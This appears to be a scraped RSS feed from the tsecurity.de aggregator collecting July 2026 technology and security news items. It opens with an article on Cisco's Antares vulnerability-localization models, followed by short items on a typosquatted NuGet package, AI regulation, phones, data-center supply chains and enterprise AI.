<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200143/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Cisco bets its small open cybersecurity models can outperform GPT-5.5 at vulnerability detection for a fraction of the cost]]></title>
<description><![CDATA[Cisco has released two small, open-source AI models for cybersecurity that detect about 150 times more vulnerabilities per dollar than large AI agents, according to the company's own tests.
The article Cisco bets its small open cybersecurity models can outperform GPT-5.5 at vulnerability detectio...]]></description>
<link>https://tsecurity.de/de/3687063/ai-nachrichten/cisco-bets-its-small-open-cybersecurity-models-can-outperform-gpt-55-at-vulnerability-detection-for-a-fraction-of-the-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687063/ai-nachrichten/cisco-bets-its-small-open-cybersecurity-models-can-outperform-gpt-55-at-vulnerability-detection-for-a-fraction-of-the-cost/</guid>
<pubDate>Wed, 22 Jul 2026 18:49:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/cisco_logo.png" class="attachment-full size-full wp-post-image" alt="" decoding="async"></p>
<p>        Cisco has released two small, open-source AI models for cybersecurity that detect about 150 times more vulnerabilities per dollar than large AI agents, according to the company's own tests.</p>
<p>The article <a href="https://the-decoder.com/cisco-bets-its-small-open-cybersecurity-models-can-outperform-gpt-5-5-at-vulnerability-detection-for-a-fraction-of-the-cost/">Cisco bets its small open cybersecurity models can outperform GPT-5.5 at vulnerability detection for a fraction of the cost</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Cisco-Antares lokalisiert Schwachstellen im Quellcode]]></title>
<description><![CDATA[Cisco hat mit der Modellfamilie Antares neue Small Language Models (SLMs) vorgestellt, die Sicherheitsteams bei der Analyse von Software-Schwachstellen unterstützen sollen. 

Tags: #Cisco | #Quellcode]]></description>
<link>https://tsecurity.de/de/3686822/it-security-nachrichten/cisco-antares-lokalisiert-schwachstellen-im-quellcode/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686822/it-security-nachrichten/cisco-antares-lokalisiert-schwachstellen-im-quellcode/</guid>
<pubDate>Wed, 22 Jul 2026 17:19:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920.jpg" class="attachment-full size-full wp-post-image" alt="Cisco" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2024/03/Cisco-Quelle-Judith-Linine-Shutterstock-370994453-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Cisco-Antares lokalisiert Schwachstellen im Quellcode 1"></p>
    Cisco hat mit der Modellfamilie Antares neue Small Language Models (SLMs) vorgestellt, die Sicherheitsteams bei der Analyse von Software-Schwachstellen unterstützen sollen. 

<p>Tags: <a href="https://www.it-daily.net/thema/cisco">#Cisco</a> | <a href="https://www.it-daily.net/thema/quellcode">#Quellcode</a></p>]]></content:encoded>
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<title><![CDATA[How To Build Your Own LLM Runtime From Scratch]]></title>
<description><![CDATA[If you have ever wanted to actually build an LLM inference runtime yourself — pack your own weights, own every barrier, capture your own CUDA graphs — this is what that journey looks like on an H100. A step-by-step tour of a small runtime called annotated-llm-runtime, and the three bugs that prod...]]></description>
<link>https://tsecurity.de/de/3686799/ai-nachrichten/how-to-build-your-own-llm-runtime-from-scratch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686799/ai-nachrichten/how-to-build-your-own-llm-runtime-from-scratch/</guid>
<pubDate>Wed, 22 Jul 2026 17:12:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you have ever wanted to actually build an LLM inference runtime yourself — pack your own weights, own every barrier, capture your own CUDA graphs — this is what that journey looks like on an H100. A step-by-step tour of a small runtime called annotated-llm-runtime, and the three bugs that produced most of the annotations.</p>
<p>The post <a href="https://towardsdatascience.com/how-to-build-your-own-llm-runtime-from-scratch/">How To Build Your Own LLM Runtime From Scratch</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[Why are OpenAI and Anthropic cheering on regulation in Australia? The answer has global reach]]></title>
<description><![CDATA[The companies hope to follow in the footsteps of SpaceX, which raised $86bn and soared to a $2.1tn valuation after it listed on public markets in JuneGet our breaking news email, free app or daily news podcastTop US AI developers Anthropic and OpenAI cheered when Australia announced it would set ...]]></description>
<link>https://tsecurity.de/de/3686798/ai-nachrichten/why-are-openai-and-anthropic-cheering-on-regulation-in-australia-the-answer-has-global-reach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686798/ai-nachrichten/why-are-openai-and-anthropic-cheering-on-regulation-in-australia-the-answer-has-global-reach/</guid>
<pubDate>Wed, 22 Jul 2026 17:11:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The companies hope to follow in the footsteps of SpaceX, which raised $86bn and soared to a $2.1tn valuation after it listed on public markets in June</p><ul><li><p>Get our <a href="https://www.theguardian.com/email-newsletters?CMP=cvau_sfl">breaking news email</a>, <a href="https://app.adjust.com/w4u7jx3">free app</a> or <a href="https://www.theguardian.com/australia-news/series/full-story?CMP=cvau_sfl">daily news podcast</a></p></li></ul><p>Top US AI developers Anthropic and OpenAI cheered when Australia announced it would set new AI rules.</p><p>Big tech celebrating limits on their Silicon Valley VC-funded free-for-all might seem counterintuitive but there’s a much broader play than just what happens in one relatively small market.</p> <a href="https://www.theguardian.com/technology/2026/jul/23/openai-anthropic-australia-ai-regulation">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Why the future of AI depends on SMB adoption]]></title>
<description><![CDATA[There’s growing appetite for practical, accessible tools designed around the realities of running a small business rather than enterprise-scale workflows.]]></description>
<link>https://tsecurity.de/de/3686722/it-nachrichten/why-the-future-of-ai-depends-on-smb-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686722/it-nachrichten/why-the-future-of-ai-depends-on-smb-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 16:57:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There’s growing appetite for practical, accessible tools designed around the realities of running a small business rather than enterprise-scale workflows.]]></content:encoded>
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<title><![CDATA[My Favorite NEW Folding Phone - Samsung Galaxy Z Fold8 Ultra vs Fold8 vs Flip8]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 4x - Views:33 Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F

Fold8 - 
https...]]></description>
<link>https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686540/videos/my-favorite-new-folding-phone-samsung-galaxy-z-fold8-ultra-vs-fold8-vs-flip8/</guid>
<pubDate>Wed, 22 Jul 2026 15:36:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 4x - Views:33 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RoVLY0s5Chc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F<br />
<br />
Fold8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8%2Fbuy%2Fgalaxy-z-fold8-256gb-unlocked-sku-sm-f971ulvaxaa%2F<br />
<br />
Flip8 - <br />
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-flip8%2Fbuy%2Fgalaxy-z-flip8-256gb-unlocked-sku-sm-f776uliaxaa%2F<br />
<br />
unlocked devices at Best Buy - https://bestbuycreators.7tiv.net/6kX2Lb<br />
<br />
https://youtu.be/RoVLY0s5Chc<br />
<br />
<br />
<br />
Samsung just announced three brand new foldable smartphones at Galaxy Unpacked 2026, and I got hands-on with all of them in New York City!<br />
<br />
In this video we're breaking down the new Galaxy Z Fold8 Ultra, Galaxy Z Fold8, and Galaxy Z Flip8, including pricing, displays, cameras, battery life, durability, Galaxy AI features, and the security features I always check first - like SIM support, Ultra Wideband, fingerprint readers, face unlock, Wi-Fi 7, and more.<br />
<br />
Is the new Galaxy Z Fold8 Ultra worth over $2,000? Is the regular Fold8 the better value? And is the Flip8 Samsung's best flip phone yet?<br />
<br />
I'll also be publishing full reviews after spending more time with each device, so make sure you're subscribed so you don't miss those!<br />
<br />
💬 If you could have one of these phones for FREE, which would you choose?<br />
<br />
#Samsung #GalaxyUnpacked #GalaxyZFold8Ultra #GalaxyZFold8 #GalaxyZFlip8 #FoldablePhone #Android #Tech @Samsung  <br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
 Samsung Galaxy Unpacked 2026<br />
00:48 Three New Galaxy Foldables<br />
02:00 Galaxy Z Fold8 Ultra<br />
06:15 Fold8 Ultra Cameras & Security Features<br />
08:00 Patreon Shoutout<br />
09:00 Galaxy Z Fold8<br />
12:35 Galaxy Z Flip8<br />
14:30 Shared Specs Across All Models<br />
16:00 Colors & Storage Options<br />
17:10 Biggest Takeaways<br />
19:00 What I'm Testing Next<br />
20:00 Which One Would You Choose?<br />
<br />
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<title><![CDATA[The Escalation Gap: Why People Don’t Raise Risk Until It’s Too Late]]></title>
<description><![CDATA[Short answer 
Escalation friction happens when employees face practical, cultural, procedural, or confidence-based barriers to raising a concern. It can delay reporting, weaken incident response, and allow small issues to become bigger cyber, fraud, privacy, or operational problems. Mature human ...]]></description>
<link>https://tsecurity.de/de/3686431/it-security-nachrichten/the-escalation-gap-why-people-dont-raise-risk-until-its-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686431/it-security-nachrichten/the-escalation-gap-why-people-dont-raise-risk-until-its-too-late/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://cybermaniacs.com/cm-blog/the-escalation-gap-why-people-dont-raise-risk-until-its-too-late" title="" class="hs-featured-image-link"> <img src="https://cybermaniacs.com/hubfs/Blog%20Header%20Graphics/Rhetoric%2C-The-IT-Security-Manager%2C-and-The-Overused-_!__Header.jpg" alt="The Escalation Gap: Why People Don’t Raise Risk Until It’s Too Late" class="hs-featured-image"> </a> 
</div> 
<h2><strong><span>Short answer</span></strong></h2> 
<p><span>Escalation friction happens when employees face practical, cultural, procedural, or confidence-based barriers to raising a concern. It can delay reporting, weaken incident response, and allow small issues to become bigger cyber, fraud, privacy, or operational problems. Mature human risk management programs should measure whether people know when to escalate, where to go, how safe it feels, and what happens after they speak up.</span></p>]]></content:encoded>
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<title><![CDATA[A Single Extra “t” in a NuGet Package Allow Attackers to Manipulate Results]]></title>
<description><![CDATA[A malicious NuGet package used a single extra letter to hide in plain sight, turning a familiar software dependency into a betting-fraud tool. The package, Newtonsoftt.Json.Net, copied the appearance of the widely used Newtonsoft.Json library while carrying code designed to alter game outcomes. T...]]></description>
<link>https://tsecurity.de/de/3686429/it-security-nachrichten/a-single-extra-t-in-a-nuget-package-allow-attackers-to-manipulate-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686429/it-security-nachrichten/a-single-extra-t-in-a-nuget-package-allow-attackers-to-manipulate-results/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious NuGet package used a single extra letter to hide in plain sight, turning a familiar software dependency into a betting-fraud tool. The package, Newtonsoftt.Json.Net, copied the appearance of the widely used Newtonsoft.Json library while carrying code designed to alter game outcomes. The campaign relied on typosquatting, a tactic that exploits small spelling mistakes made […]</p>
<p>The post <a href="https://cybersecuritynews.com/a-single-extra-t-in-a-nuget-package/">A Single Extra “t” in a NuGet Package Allow Attackers to Manipulate Results</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[It has begun: Foxconn amassing army of workers for iPhone 18 Pro assembly]]></title>
<description><![CDATA[Months ahead of the fall launches, and historically right on time, Apple supply chain partner Foxconn has started to hire a small army of assemblers to build the iPhone 18 Pro.Workers at a Foxconn facility - Image source: FoxconnEach summer, the Apple supply chain prepares for the annual iPhone m...]]></description>
<link>https://tsecurity.de/de/3686339/ios-mac-os/it-has-begun-foxconn-amassing-army-of-workers-for-iphone-18-pro-assembly/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686339/ios-mac-os/it-has-begun-foxconn-amassing-army-of-workers-for-iphone-18-pro-assembly/</guid>
<pubDate>Wed, 22 Jul 2026 14:48:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Months ahead of the fall launches, and historically right on time, Apple supply chain partner Foxconn has started to hire a small army of assemblers to build the <a href="https://appleinsider.com/inside/iphone-18" title="iPhone 18" data-kpt="1">iPhone 18 Pro</a>.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68321-144018-67700-142700-FX-xl-xl.jpg" alt="Factory workers in white uniforms and caps assembling electronics at a Foxconn production line, with conveyor belts and industrial equipment in a brightly lit manufacturing hall" height="720"><br><span>Workers at a Foxconn facility - Image source: Foxconn</span></div><br>Each summer, the Apple supply chain prepares for the annual iPhone <a href="https://appleinsider.com/articles/25/08/20/iphone-17-countdown-begins-as-foxconn-ramps-up-factory-hiring-in-china">mass production ramp-up</a> by hiring more employees. For chief assembly partner Foxconn, that process has gotten underway in China.<br><br>According to <em>China Securities Journal</em> via <em>MyDrivers</em> on <a href="https://news.mydrivers.com/1/1138/1138207.htm">July 22</a>, the iPhone 18 series has entered the mass production stage. As such, Foxconn and others in the pipeline are rapidly trying to grow their workforce for the period.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/it-has-begun-foxconn-amassing-army-of-workers-for-iphone-18-pro-assembly?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245020?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Glow exits stealth with $180 million to secure the AI-enabled endpoint]]></title>
<description><![CDATA[Glow has emerged from stealth with $180 million in funding at a $1.2 billion valuation to advance a prevention-first approach to endpoint security. The funding round was led by Sequoia, Cyberstarts, Greenoaks, and Redpoint Ventures, with participation from Index Ventures, Swish Ventures, Lux Capi...]]></description>
<link>https://tsecurity.de/de/3686152/it-security-nachrichten/glow-exits-stealth-with-180-million-to-secure-the-ai-enabled-endpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686152/it-security-nachrichten/glow-exits-stealth-with-180-million-to-secure-the-ai-enabled-endpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:39:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Glow has emerged from stealth with $180 million in funding at a $1.2 billion valuation to advance a prevention-first approach to endpoint security. The funding round was led by Sequoia, Cyberstarts, Greenoaks, and Redpoint Ventures, with participation from Index Ventures, Swish Ventures, Lux Capital, Operator Collective, and Holly Ventures. The company will use the funding to expand its go-to-market team in the United States and grow Glow Labs, its cybersecurity research division. Glow was founded … <a href="https://www.helpnetsecurity.com/2026/07/22/glow-launches-with-180-million-funding/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/glow-launches-with-180-million-funding/">Glow exits stealth with $180 million to secure the AI-enabled endpoint</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



